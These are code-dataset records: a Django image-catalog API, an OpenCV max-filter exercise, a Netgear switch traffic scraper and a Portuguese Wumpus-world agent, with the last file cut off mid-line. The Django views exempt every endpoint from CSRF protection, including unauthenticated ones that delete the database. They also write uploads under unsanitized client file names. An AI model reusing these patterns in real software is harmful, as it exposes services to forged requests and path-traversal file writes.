helpers\n\nimport datetime\n\ndef vomit(request, result):\n # ON /datetime/ this was the RESULT\n return HttpResponse(json.dumps([{'on':datetime.datetime.now().isoformat(),\n 'result':result}]),\n mimetype='application/json')\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"GET\", \"POST\"])\ndef catalog(request):\n \"\"\"Describe or accept images in the database.\n\n A GET can filter images through aspects in the querystring, or\n receive a full catalogue if none are used. A POST allows for a\n new image to be accepted (and indexed) into the database.\n \"\"\"\n if request.method == \"POST\":\n if request.FILES:\n # Keep a record of the file names just uploaded.\n file_names = []\n\n # Save the uploaded files to the repository directory.\n for field_name, uploaded_file in request.FILES:\n filename = uploaded_file.name\n filepath = join(settings.REPO_ROOT, filename)\n\n f = open(filepath, 'wb+') # IOError uncatched !\n for chunk in uploaded_file.chunks():\n f.write(chunk)\n\n file_names.append(filename)\n\n # Add uploaded files to git repository.\n githelper.post_blobs(githelper.repository, file_names)\n\n # create Imagenes instance\n\n # call process_image on instance.\n\n raise NotImplementedError()\n\n elif request.method == \"GET\":\n results = main.interface.exclusive_search(request.GET.copy())\n descriptions = map(lambda r: r.json_description(), results)\n return vomit(request, descriptions)\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"GET\", \"POST\"])\ndef catalog_image(request, image_hash):\n \"\"\"Describe the particular image.\"\"\"\n description = None\n if request.method == 'GET':\n image = get_object_or_404(Imagenes, filehash=image_hash, deleted=False)\n if request.method == 'POST':\n image, created = Imagenes.objects.get_or_create(filehash=image_hash,\n deleted=False)\n if created:\n main.interface.process_image(image)\n description = image.json_description()\n\n return vomit(request, description)\n\n\n@csrf_exempt\n@require_POST\ndef rebuild(request):\n \"\"\"Rebuild the whole database from the images repository.\n\n Entries in all tables, main and plugins, are lost and systematically rebuilt\n from the current contents of the repostory.\n \"\"\"\n\n # Due to the on-delete-cascade behavious of Django's ORM, deleting an\n # Imagenes entry consecuently deletes all entries in any plugin table that\n # are pointing to it. Since all entries in plugin tables should point to a\n # Imagenes instance, this should be enought to trigger a controlled chaos.\n Imagenes.objects.all().delete() # This does not use truncate. We should.\n\n # Recreate the entry in the Imagenes table, and process by each plugin.\n for stage, blob in githelper.get_blobs(githelper.repository):\n image = Imagenes(filehash=blob.hexsha)\n image.save()\n main.interface.process_image(image)\n\n return vomit(request, True)\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"GET\"])\ndef plug_list(request):\n \"\"\"Returns the list of plugins availables.\"\"\"\n\n plugins = []\n for plug in main.interface.Aspect.plugin_id:\n p = main.interface.Aspect.plugin_id[plug]()\n plugins.append({'name':p.category_name, 'values': p.categories})\n\n return vomit(request, plugins)\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"GET\"])\ndef status(request, verbose=None):\n \"\"\"Returns the list of untracked images.\n ie: Those which hasn't been commited yet.\"\"\"\n\n return vomit(request, githelper.repo_status(githelper.repository, verbose))\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"POST\"])\ndef remove(request, image_hash):\n \"\"\"Remove a blob.\"\"\"\n\n helpers.delete_instance(Imagenes,filehash=image_hash)\n return vomit(request, True)\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"POST\"])\ndef purge(request, image_hash):\n \"\"\"Remove a blob.\"\"\"\n\n repo = githelper.repository\n blob = githelper.get_blob(repo, image_hash)\n purged = helpers.purge_instance(filehash=image_hash)\n removed = githelper.remove_blob(repo, blob)\n return vomit(request, purged and removed)\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"POST\"])\ndef commit(request):\n \"\"\"Do a barrel roll.\"\"\"\n\n # let's use this date and time as a commit_msg. just because.\n ci = githelper.commit(githelper.repository, u\"%s\"%datetime.datetime.now().isoformat())\n return vomit(request, ci)\n\n\n@csrf_exempt\n@require_http_methods([\"HEAD\", \"POST\"])\ndef add(request):\n \"\"\"Lets add to the repo the newly added files.\n Return True or False depending if was added or not.\n \"\"\"\n\n newfile = request.POST.get('file')\n repo = githelper.repository\n status = githelper.repo_status(repo)\n added = False\n if newfile in status['??']['files']:\n githelper.post_blob(repo, newfile)\n added = True\n return vomit(request, added)\n","sub_path":"main/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":5630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"554160028","text":"__author__ = 'Suvojit Manna'\r\n\r\n# Write a program to enhance a given image using max filter.\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nimage = cv2.imread(\"CBoard.jpg\", cv2.COLOR_BGR2GRAY)\r\nimage = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\ncv2.imshow(\"Input\", image)\r\nkSize = 3\r\nbSize = kSize // 2 \r\nimage = cv2.copyMakeBorder(image, bSize, bSize, bSize, bSize, cv2.BORDER_CONSTANT, 0)\r\nimageO = np.zeros(image.shape, dtype=np.uint8)\r\nfor x in range(image.shape[0] - kSize + 1):\r\n for y in range(image.shape[1] - kSize + 1):\r\n imageO[x, y] = np.amax(image[x:x+kSize, y:y+kSize])\r\ncv2.imshow(\"Output : Max Filter\", imageO)\r\ncv2.waitKey(0)","sub_path":"Problem 16/problem_16.py","file_name":"problem_16.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113258818","text":"import tempfile\nimport time\nfrom lxml import html\nimport requests\nfrom pprint import pprint\nimport socket\n\ncookie_dir = tempfile.gettempdir()\nsleep_time = 0.25\n\n# Get login cookie\n# Parameters: (string) Switch IP, (strong) Switch Password\n# Return: (string) Cookie name, (string) Cookie content\ndef get_login_cookie(switch_ip, switch_password):\n # Login through the web interface and retrieve a session key\n url = 'http://' + switch_ip + '/login.cgi'\n data = dict(password=switch_password)\n\n r = requests.post(url, data=data, allow_redirects=True)\n\n # Check that we have authenticated correctly. Cookie must be set\n cookie = r.cookies.get('GS108SID')\n if cookie is not None:\n return 'GS108SID', cookie\n\n cookie = r.cookies.get('SID')\n if cookie is not None:\n return 'SID', cookie\n\n # If we've got here, then authentication error or cannot find the auth cookie.\n return (None), (None)\n\n\n# Check if cookie is valid\n# Parameters: (string) Switch IP, (string) Cookie name, (string) Cookie contents\n# Return: True or False\ndef check_login_cookie_valid(switch_ip, cookie_name, cookie_content):\n # Checks that our login cookie is indeed valid. We check the port stats page, if that page loads correctly, (y).\n # Return: bool\n url = 'http://' + switch_ip + '/portStatistics.cgi'\n jar = requests.cookies.RequestsCookieJar()\n jar.set(cookie_name, cookie_content, domain=switch_ip, path='/')\n r = requests.post(url, cookies=jar, allow_redirects=False)\n tree = html.fromstring(r.content)\n title = tree.xpath('//title')\n if title[0].text != \"Port Statistics\":\n return False\n else:\n return True\n\n\ndef get_switch_infos(switch_ip, switch_password):\n try:\n f = open(cookie_dir + '/.gs108ecookie' + switch_ip, 'r')\n switch_cookie_name = f.readline().rstrip('\\n')\n switch_cookie_content = f.readline().rstrip('\\n')\n f.close()\n if check_login_cookie_valid(switch_ip, switch_cookie_name, switch_cookie_content) is False:\n raise IOError\n except IOError:\n # File doesn't exist. Get login key\n is_new_cookie = True\n switch_cookie_name, switch_cookie_content = get_login_cookie(switch_ip, switch_password)\n if switch_cookie_name is None:\n exit(1)\n f = open(cookie_dir + '/.gs108ecookie' + switch_ip, 'w')\n f.write(switch_cookie_name + \"\\n\")\n f.write(switch_cookie_content + \"\\n\")\n f.write(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime()))\n f.close()\n\n # Set up our cookie jar\n jar = requests.cookies.RequestsCookieJar()\n jar.set(switch_cookie_name, switch_cookie_content, domain=switch_ip, path='/')\n\n # Get the port stats page\n url = 'http://' + switch_ip + '/portStatistics.cgi'\n try:\n page = requests.get(url, cookies=jar, timeout=15.000)\n except requests.exceptions.Timeout:\n return None\n start_time = time.perf_counter()\n tree = html.fromstring(page.content)\n\n\n rx1 = tree.xpath('//tr[@class=\"portID\"]/td[2]')\n tx1 = tree.xpath('//tr[@class=\"portID\"]/td[3]')\n crc1 = tree.xpath('//tr[@class=\"portID\"]/td[4]')\n\n # Hold fire\n time.sleep(sleep_time)\n\n # Get the port stats page again! We need to compare two points in time\n try:\n page = requests.get(url, cookies=jar, timeout=15.000)\n except requests.exceptions.Timeout:\n return None\n end_time = time.perf_counter()\n tree = html.fromstring(page.content)\n\n rx2 = tree.xpath('//tr[@class=\"portID\"]/td[2]')\n tx2 = tree.xpath('//tr[@class=\"portID\"]/td[3]')\n crc2 = tree.xpath('//tr[@class=\"portID\"]/td[4]')\n\n sample_time = end_time - start_time\n sample_factor = 1 / sample_time\n\n #print(\"It took us \" + str(sample_time) + \" seconds.\")\n ports = min([len(tx1), len(tx2)])\n\n # Test code, print all values.\n for i in range(0, len(tx2)):\n # Convert Hex to Int, get bytes traffic\n port_traffic = int(tx2[i].text, 10) - int(tx1[i].text, 10)\n port_speed_bps = port_traffic * sample_factor\n #print(\"Port \" + str(i) + \": \" + \"{0:.2f}\".format(port_speed_bps/1024, ) + \"kb/s.\", tx2[i].text, \"-\", tx1[i].text)\n\n ports_data = []\n\n # GS105Ev2\n # Values are already in Int\n\n sum_port_traffic_rx = 0\n sum_port_traffic_tx = 0\n sum_port_traffic_crc_err = 0\n sum_port_speed_bps_rx = 0\n sum_port_speed_bps_tx = 0\n\n for port_number in range(ports):\n port_traffic_rx = int(rx2[port_number].text, 10) - int(rx1[port_number].text, 10)\n port_traffic_tx = int(tx2[port_number].text, 10) - int(tx1[port_number].text, 10)\n port_traffic_crc_err = int(crc2[port_number].text, 10) - int(crc1[port_number].text, 10)\n port_speed_bps_rx = int(port_traffic_rx * sample_factor)\n port_speed_bps_tx = int(port_traffic_tx * sample_factor)\n port_name = \"Port \" + str(port_number)\n\n #print(\n # \"Port\", port_name,\n # \"Traffic In\", port_speed_bps_rx,\n # \"Traffic Out\", port_speed_bps_tx,\n # \"CRC Errors\", port_traffic_crc_err\n #)\n\n # Lowpass-Filter\n if port_traffic_rx < 0:\n port_traffic_rx = 0\n if port_traffic_tx < 0:\n port_traffic_tx = 0\n if port_traffic_crc_err < 0:\n port_traffic_crc_err = 0\n if port_speed_bps_rx < 0:\n port_speed_bps_rx = 0\n if port_speed_bps_tx < 0:\n port_speed_bps_tx = 0\n\n sum_port_traffic_rx += port_traffic_rx\n sum_port_traffic_tx += port_traffic_tx\n sum_port_traffic_crc_err += port_traffic_crc_err\n sum_port_speed_bps_rx += port_speed_bps_rx\n sum_port_speed_bps_tx += port_speed_bps_tx\n\n ports_data.append({\n 'port_nr': port_number + 1,\n 'traffic_rx_bytes': port_traffic_rx,\n 'traffic_tx_bytes': port_traffic_tx,\n 'speed_rx_bytes': port_speed_bps_rx,\n 'speed_tx_bytes': port_speed_bps_tx,\n 'speed_io_bytes': port_speed_bps_rx + port_speed_bps_tx,\n 'crc_errors': port_traffic_crc_err,\n })\n\n return {\n 'switch_ip': switch_ip,\n 'response_time_s': sample_time,\n 'ports': ports_data,\n 'sum_port_traffic_rx': sum_port_traffic_rx,\n 'sum_port_traffic_tx': sum_port_traffic_tx,\n 'sum_port_traffic_crc_err': sum_port_traffic_crc_err,\n 'sum_port_speed_bps_rx': sum_port_speed_bps_rx,\n 'sum_port_speed_bps_tx': sum_port_speed_bps_tx,\n 'sum_port_speed_bps_io': sum_port_speed_bps_rx + sum_port_speed_bps_tx,\n }\n\n\n\n#if __name__ == \"__main__\":\n# switch_ip = '192.168.178.35'\n# switch_password = 'password'\n# port_number = 0\n# switch_infos = get_switch_infos(switch_ip=switch_ip, switch_password=switch_password)\n# pprint(switch_infos)\n\n\n\n\n\n\n\n","sub_path":"ckw_hass_gs108e/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"489113402","text":"# flag para depuração\n__DEBUG__ = True\n\n# Variaveis globais (do módulo) que o mundo acessa para passar informações para a personagem.\n\nglobal nFlechas\n\"\"\"\nNúmero de flechas que a personagem possui. Serve apenas para\nconsulta da personagem, pois o mundo mantém uma cópia \"segura\" dessa\ninformação (não tente inventar flechas...).\n\"\"\"\n\nglobal mundoCompartilhado\n\"\"\"\nEsse é um espaço onde a personagem tem acesso à representação do\nmundo de uma outra personagem. Essa informação pode ser usada como a\npersonagem quiser (por exemplo, transferindo o conteúdo para o seu\npróprio \"mundo\", ou mantendo uma lista dos vários mundos\ncompartilhados com outras personagens).\n\"\"\"\n\n\n# Outras variáveis globais do módulo personagemNUSP\n\nglobal N\n\"\"\" Dimensão do mundo.\n\"\"\"\n\nglobal mundo\n\"\"\"\nRepresenta o conhecimento da personagem em relação ao Mundo de\nWumpus. Essa é uma matriz de NxN onde a personagem toma notas de suas\npercepções ao longo do caminho que percorre, indicando os muros, as\nsalas livres e as salas percorridas, bem como a proximidade de perigos\n(poços e Wumpus). A geometria do mundo é a de um toro (aquela figura\nque parece um donut!) onde existem sempre 4 salas vizinhas à posição\n[i][j]: em sentido horário e a partir da (nossa) direita essas seriam:\n[i][(j+1)%N], [(i+1)%N][j], [i][(j-1)%N] e [(i-1)%N][j]. Cada entrada\nmundo[i][j] é uma lista de anotações/rótulos correspondentes às\ninformações encontradas ou deduzidas pela personagem sobre o conteúdo\nda sala (i,j).\n\"\"\"\n\nglobal posicao\n\"\"\"\nRepresenta a posição relativa da personagem no mundo. Cada\npersonagem começa em uma posição aleatória (e desconhecida por ela,\npois não possui GPS ou equivalente) do Mundo \"real\" de Wumpus, e por\nisso precisa usar um sistema de coordenadas pessoal para se orientar.\nPor convenção, sua posição inicial é representada como [0,0] (canto\nsuperior esquerdo) nesse sistema. Como o mundo não tem bordas, podemos\nusar sempre os i=0,...,N-1 e j=0,...,N-1, que percorrem todas as salas\npossíveis do Mundo de Wumpus, usando o operador módulo (%) para\ncorrigir a posição quando um passo nos levar a uma sala de índice <0\nou >=N.\n\"\"\"\n\nglobal orientacao\n\"\"\"\nJuntamente com a posição relativa, permite à personagem manter o\nhistórico das salas visitadas. Essa orientação é independente da\norientação \"real\" que o mundo usa para coordenar a ação de todas as\npersonagens. Por convenção, todas as personagens indicam sua orientação\ninicial como \"para baixo\" ou \"sul\", correspondente à direção [1,0]\n(direção do eixo vertical).\n\"\"\"\n# 1,0 == v\n# -1,0 == ^\n# 0,1 == >\n# 0,-1 == <\n\ndef inicializa(tamanho):\n \"\"\" Função de inicialização da personagem (recebe o tamanho do mundo).\n Usa as variáveis globais (do módulo) para representar seu\n conhecimento do mundo, sua posição e sua orientação relativas\n ao início da simulação. Você pode criar e inicializar outras\n variáveis aqui (por exemplo, a lista de salas livres e não\n visitadas).\n\n \"\"\"\n # declara as variáveis globais que serão acessadas\n global N, mundo, posicao, orientacao\n # guarda o tamanho do mundo\n N = tamanho\n # cria a matriz NxN com a representação do mundo conhecido\n mundo = []\n for i in range(N) :\n linha = []\n for j in range(N) :\n linha.append([]) # começa com listas vazias\n mundo.append(linha)\n\n \n # posição e orientação iniciais da personagem (sempre serão [0,0] e [1,0]).\n posicao = [0,0]\n orientacao = [1,0]\n\n###########################################\n\nglobal personagemNaSala\n\"\"\"\nValor booleano que indica se há ou não outro personagem na sala\n\"\"\"\n\nsalasLivres = []\n\"\"\"\nMantém uma lista das salas livres ainda não visitadas\n\"\"\"\n\nglobal matrizCaminhos\n\"\"\"\nMantém uma matriz com um mapa 'alternativo' do mundo, o qual\nindica apenas as distâncias até a próxima cada a ser visitada\n\"\"\"\n\n\ndef resetaCaminhos() :\n \"\"\" Função que inicializa e limpa a matriz\n que armazena os valores numéricos\n \"\"\"\n \n global matrizCaminhos\n\n matrizCaminhos = []\n for i in range(N) :\n linha = []\n for j in range(N) :\n linha.append(-1) # começa com listas de valores -1\n matrizCaminhos.append(linha)\n return\n\n \n\ndef fazCaminho(fim=[]):\n \"\"\" Implementa uma busca por largura no mundo, colocando como\n objetivo a primeira sala livre na lista e começando na posição\n atual do personagem. Armazena os valores numéricos em matrizCaminhos.\n \"\"\"\n #limpa a matriz\n resetaCaminhos()\n\n global mundo,matrizCaminhos,posicao\n\n #marca o destino como 1 e adota como posição inicial\n matrizCaminhos[fim[0]][fim[1]] = 1\n pontas = [[fim[0],fim[1],1]]\n\n casa = [0,0] # força a entrada\n \n while len(pontas) != 0 and [casa[0],casa[1]] != posicao:\n\n casa = pontas[0]\n # confere as 4 casas ao redor da selecionada,\n # realizando os seguintes passos:\n # 1 - confere se ela é a posição atual, se sim, atribui o valor 0 e interrompe\n # 2 - confere se ela é válida, se não, pula\n # 3 - confere um valor de distância para ela em matrizCaminhos\n # 4 - adiciona ela a lista de pontas a serem checadas\n # após conferir as 4 casas, retira a selecionada da lista\n pos = [casa[0],(casa[1] + 1)%len(mundo)]\n if pos == posicao :\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 2\n break\n elif \"V\" in mundo[pos[0]][pos[1]] and \\\n matrizCaminhos[pos[0]][pos[1]] == -1 :\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 1\n pontas.append([pos[0],pos[1],casa[2]+1])\n\n pos = [casa[0],(casa[1] - 1)%len(mundo)]\n if pos == posicao :\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 2\n break\n elif \"V\" in mundo[pos[0]][pos[1]] and \\\n matrizCaminhos[pos[0]][pos[1]] == -1:\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 1\n pontas.append([pos[0],pos[1],casa[2]+1])\n\n pos = [(casa[0] + 1)%len(mundo),casa[1]]\n if pos == posicao :\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 2\n break\n elif \"V\" in mundo[pos[0]][pos[1]] and \\\n matrizCaminhos[pos[0]][pos[1]] == -1:\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 1\n pontas.append([pos[0],pos[1],casa[2]+1])\n\n pos = [(casa[0] - 1)%len(mundo),casa[1]]\n if pos == posicao :\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 2\n break\n elif \"V\" in mundo[pos[0]][pos[1]] and \\\n matrizCaminhos[pos[0]][pos[1]] == -1:\n matrizCaminhos[pos[0]][pos[1]] = casa[2] + 1\n pontas.append([pos[0],pos[1],casa[2]+1])\n\n pontas.remove(casa)\n\n \n\ndef marcaAoRedor(tag = \"L\"):\n \"\"\" Marca as casas que não foram visitadas e não são muros com a tag,\n se uma tag for passada, se não marca as casas ao redor como livres.\n \"\"\"\n\n global mundo,posicao,salasLivres\n\n # caso em que não há percepção\n # esse caso retira outras marcações\n if tag == \"L\":\n\n pos = [posicao[0],(posicao[1]-1 )% len(mundo)]\n if not (\"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]]):\n\n mundo[pos[0]][pos[1]] = [\"L\"]\n if not [pos[0],pos[1]] in salasLivres:\n salasLivres.append([pos[0],pos[1]])\n \n pos = [posicao[0],(posicao[1]+1)% len(mundo)]\n if not (\"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]]):\n\n mundo[pos[0]][pos[1]] = [\"L\"]\n if not [pos[0],pos[1]] in salasLivres:\n salasLivres.append([pos[0],pos[1]])\n\n pos = [(posicao[0]+1)% len(mundo),posicao[1]]\n if not (\"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]]):\n\n mundo[pos[0]][pos[1]] = [\"L\"]\n if not [pos[0],pos[1]] in salasLivres:\n salasLivres.append([pos[0],pos[1]]) \n\n pos = [(posicao[0]-1)% len(mundo),posicao[1]]\n if not (\"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]]):\n\n mundo[pos[0]][pos[1]] = [\"L\"]\n if not [pos[0],pos[1]] in salasLivres:\n salasLivres.append([pos[0],pos[1]])\n return\n\n # verifica se as casas ao redor devem ser marcadas e\n # realiza a marcação se sim\n pos = [posicao[0],(posicao[1]-1 )% len(mundo)]\n if not (tag in mundo[pos[0]][pos[1]] or \\\n \"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]] or \\\n \"L\" in mundo[pos[0]][pos[1]] or \\\n \"B\" in mundo[pos[0]][pos[1]] or \\\n \"F\" in mundo[pos[0]][pos[1]]):\n mundo[pos[0]][pos[1]].append(tag)\n\n \n pos = [posicao[0],(posicao[1]+1)% len(mundo)]\n if not (tag in mundo[pos[0]][pos[1]] or \\\n \"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]] or \\\n \"L\" in mundo[pos[0]][pos[1]] or \\\n \"B\" in mundo[pos[0]][pos[1]] or \\\n \"F\" in mundo[pos[0]][pos[1]]):\n mundo[pos[0]][pos[1]].append(tag)\n\n pos = [(posicao[0]+1)% len(mundo),posicao[1]]\n if not (tag in mundo[pos[0]][pos[1]] or \\\n \"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]] or \\\n \"L\" in mundo[pos[0]][pos[1]] or \\\n \"B\" in mundo[pos[0]][pos[1]] or \\\n \"F\" in mundo[pos[0]][pos[1]]):\n mundo[pos[0]][pos[1]].append(tag)\n\n pos = [(posicao[0]-1)% len(mundo),posicao[1]]\n if not (tag in mundo[pos[0]][pos[1]] or \\\n \"V\" in mundo[pos[0]][pos[1]] or \\\n \"M\" in mundo[pos[0]][pos[1]] or \\\n \"L\" in mundo[pos[0]][pos[1]] or \\\n \"B\" in mundo[pos[0]][pos[1]] or \\\n \"F\" in mundo[pos[0]][pos[1]]):\n mundo[pos[0]][pos[1]].append(tag)\n\n return\n\ndef checaWumpus():\n \"\"\" Verifica se é razoável inferir que existe um Wumpus na\n posicao em frente ao personagem. Se sim marca um W no mundo.\n \"\"\"\n \n global posicao,orientacao,mundo\n\n pos = posicao\n ori = orientacao\n \n frente = [(pos[0]+ori[0])%len(mundo),(pos[1]+ori[1])%len(mundo)]\n atras = [(pos[0]-ori[0])%len(mundo),(pos[1]-ori[1])%len(mundo)]\n esquerda = [(pos[0]+ori[1])%len(mundo),(pos[1]+ori[0])%len(mundo)]\n direita = [(pos[0]-ori[1])%len(mundo),(pos[1]-ori[0])%len(mundo)]\n \n if \"W?\" in mundo[frente[0]][frente[1]] and \\\n not (\"W?\" in mundo[esquerda[0]][esquerda[1]] or \\\n \"W?\" in mundo[direita[0]][direita[1]] or \\\n \"W?\" in mundo[atras[0]][atras[1]]) :\n mundo[frente[0]][frente[1]] = [\"W\"]\n\n return\n\ndef planejar(percepcao):\n \"\"\" Nessa função a personagem deve atualizar seu conhecimento\n do mundo usando sua percepção da sala atual. Através desse\n parâmetro a personagem recebe (do mundo) todas as informações\n sensoriais associadas à sala atual, bem como o feedback de\n sua última ação.\n Essa percepção é uma lista de strings que podem valer:\n \"F\" = fedor do Wumpus em alguma sala adjacente,\n \"B\" = brisa de um poço em sala adjacente, \n \"I\" para impacto com uma parede,\n \"U\" para o urro do Wumpus agonizante e\n \"Nome\" quando uma outra personagem é encontrada.\n \"\"\"\n # declara as variáveis globais que serão acessadas\n global mundo, posicao, orientacao, nFlechas, mundoCompartilhado,\\\n personagemNaSala,pedeCaminho,Tiro\n # Atualiza representação local do mundo (na visão da personagem).\n # Devem ser usados os símbolos \"W\"/\"W?\" para Wumpus ou possível\n # Wumpus e \"P\"/\"P?\" para poço ou possível poço, além dos indicadores\n # \"B\" para brisa, \"F\" para fedor, \"L\" para salas livres,\n # \"M\" para muros e \"V\" para salas visitadas.\n\n # Essa função ainda precisa ser implementada! São requisitos dessa\n # implementação a incorporação dos dados perceptuais à representação\n # do mundo, bem como a propagação do conhecimento adquirido para as\n # adjacências da sala atual (requisitos completos no enunciado).\n \n ori = orientacao\n personagemNaSala = False\n Tiro = False\n \n # correcao no caso de impacto\n if \"I\" in percepcao:\n if [posicao[0],posicao[1]] in salasLivres :\n salasLivres.remove([posicao[0],posicao[1]])\n mundo[posicao[0]][posicao[1]] = [\"M\"]\n posicao[0] = (posicao[0]-ori[0])%len(mundo)\n posicao[1] = (posicao[1]-ori[1])%len(mundo)\n resetaCaminhos()\n\n pos = posicao\n \n # marca as casas com as informações percebidas\n if percepcao == [] :\n marcaAoRedor()\n elif percepcao[-1] != \"B\" and percepcao[-1] != \"F\" and \\\n percepcao[-1] != \"I\" and percepcao[-1] != \"U\":\n personagemNaSala = True\n else:\n if \"B\" in percepcao :\n marcaAoRedor('P?')\n if not \"B\" in mundo[pos[0]][pos[1]] :\n mundo[pos[0]][pos[1]].append(\"B\")\n if \"F\" in percepcao :\n marcaAoRedor('W?')\n if not \"F\" in mundo[pos[0]][pos[1]] :\n mundo[pos[0]][pos[1]].append(\"F\")\n Tiro = checaWumpus()\n \n\n #remove a sala recem visitada \n if [pos[0],pos[1]] in salasLivres :\n salasLivres.remove([pos[0],pos[1]])\n\n #pede um novo caminho\n if len(salasLivres) != 0:\n fazCaminho(salasLivres[0])\n #marca a casa atual como visitada\n if not \"V\" in mundo[pos[0]][pos[1]] :\n mundo[pos[0]][pos[1]].append(\"V\")\n# if \"L\" in mundo[pos[0]][pos[1]] :\n# if type(mundo[pos[0]][pos[1]]) == list :\n# mundo[pos[0]][pos[1]].remove(\"L\")\n# else:\n# mundo[pos[0]][pos[1]] = mundo[pos[0]][pos[1]].replace(\"L\",\"\")\n# if \"P?\" in mundo[pos[0]][pos[1]] :\n# mundo[pos[0]][pos[1]] = mundo[pos[0]][pos[1]].replace(\"P?\",\"\")\n# if \"W\" in mundo[pos[0]][pos[1]] :\n# mundo[pos[0]][pos[1]] = mundo[pos[0]][pos[1]].replace(\"W?\",\"\")\n \n\n \n \n\n\n \n # ############ T R E C H O D E I L U S T R A Ç Ã O ##############\n # O trecho abaixo serve apenas para lhe ajudar a depurar o seu código\n # \n if __DEBUG__:\n print(\"Percepção recebida pela personagem:\")\n print(percepcao)\n # elimine o teste abaixo quando tiver corrigido o bug de movimentação...\n if \"I\" in percepcao:\n print(\"Você bateu num muro e talvez não esteja mais na sala em que pensa estar...\")\n # essa atualização abaixo serve de ilustração/exemplo, e\n # apenas marca as salas como \"Visitadas\", mas está errada\n# pos = posicao\n# ori = orientacao\n# if mundo[pos[0]][pos[1]] in salasLivres :\n# salasLivres.remove(mundo[pos[0]][pos[1]])\n# mundo[pos[0]][pos[1]] = [\"V\"]\n # mostra na tela (para o usuário) o mundo conhecido pela personagem\n # e o mundo compartilhado (quando disponível)\n print(\"Mundo conhecido pela personagem:\")\n for i in range(len(mundo)):\n for j in range(len(mundo[0])):\n if pos==[i,j]:\n if ori==[0,-1]:\n print(\"<\",end=\"\")\n print(\"X\",end=\"\")\n if ori==[0,1]:\n print(\">\",end=\"\")\n if ori==[1,0]:\n print(\"v\",end=\"\")\n if ori==[-1,0]:\n print(\"^\",end=\"\")\n print(\"\".join(mundo[i][j]),end=\" \")\n print(\"\".join(mundoCompartilhado[i][j]),end=\"\\t| \")\n print(\"\\n\"+\"-\"*(8*len(mundo)+1))\n\n print (\"lista de salas Livres:\")\n for i in range(len(salasLivres)):\n print(salasLivres[i][0],salasLivres[i][1])\n\n print(\"Matriz dos Caminhos:\")\n for i in range(len(matrizCaminhos)):\n for j in range(len(matrizCaminhos[0])):\n print(matrizCaminhos[i][j],end=\"\\t\")\n print()\n\n # ##### F I M D O T R E C H O D E I L U S T R A Ç Ã O #####\n\n\ndef agir():\n \"\"\" Nessa função a personagem deve usar seu conhecimento\n do mundo para decidir e tentar executar (devolver) uma ação.\n Possíveis ações (valores de retorno da função) são\n \"A\"=Andar, \"D\"=girarDireita, \"E\"=girarEsquerda,\n \"T\"=aTirar e \"C\"=Compartilhar.\n \"\"\"\n # declara as variáveis globais que serão acessadas\n global mundo, posicao, orientacao, nFlechas, mundoCompartilhado,\\\n personagemNaSala,pedeCaminho,Tiro\n # Aplica uma certa estratégia para decidir a ação a ser\n # executada com base na representação local do mundo.\n # Devolve (para o mundo) o nome da ação pretendida.\n # Duas ações só são possíveis em condições específicas,\n # que devem ser testadas de antemão (sob risco da personagem\n # entrar em loop): atirar só é possível quando a personagem\n # dispõe de flechas, e compartilhar só é possível quando\n # existem outras personagens na mesma sala (percebidas\n # pela função planejar através de percepções diferentes de\n # \"F\", \"B\", \"I\" ou \"U\").\n\n pos = posicao\n ori = orientacao\n acao = \"D\" #ação padrão\n\n #define as posicoes ao redor do personagem\n frente = [(pos[0]+ori[0])%len(mundo),(pos[1]+ori[1])%len(mundo)]\n atras = [(pos[0]-ori[0])%len(mundo),(pos[1]-ori[1])%len(mundo)]\n esquerda = [(pos[0]+ori[1])%len(mundo),(pos[1]+ori[0])%len(mundo)]\n direita = [(pos[0]-ori[1])%len(mundo),(pos[1]-ori[0])%len(mundo)]\n\n #se houver um outro personagem na sala\n if personagemNaSala:\n acao = \"C\"\n # suspeita forte de que existe um wumpus proximo\n elif \"W\" in mundo[frente[0]][frente[1]] or \\\n \"W\" in mundoCompartilhado[frente[0]][frente[1]]:\n acao = \"T\"\n elif \"W\" in mundo[frente[0]][frente[1]] or \\\n \"W\" in mundoCompartilhado[direita[0]][direita[1]] :\n acao = \"D\"\n elif \"W\" in mundo[frente[0]][frente[1]] or \\\n \"W\" in mundoCompartilhado[esquerda[0]][esquerda[1]] :\n acao = \"E\"\n #compara todas as casas ao redor em função dos valore em\n # matrizCaminhos, verificando sempre se não se trata de um -1\n #com isso escolhe um movimento seguro para se fazer\n # indo em direção a uma casa livre não visitada\n elif matrizCaminhos[frente[0]][frente[1]] != -1 and \\\n (matrizCaminhos[direita[0]][direita[1]] == -1 or\\\n matrizCaminhos[frente[0]][frente[1]] <= matrizCaminhos[direita[0]][direita[1]]) and 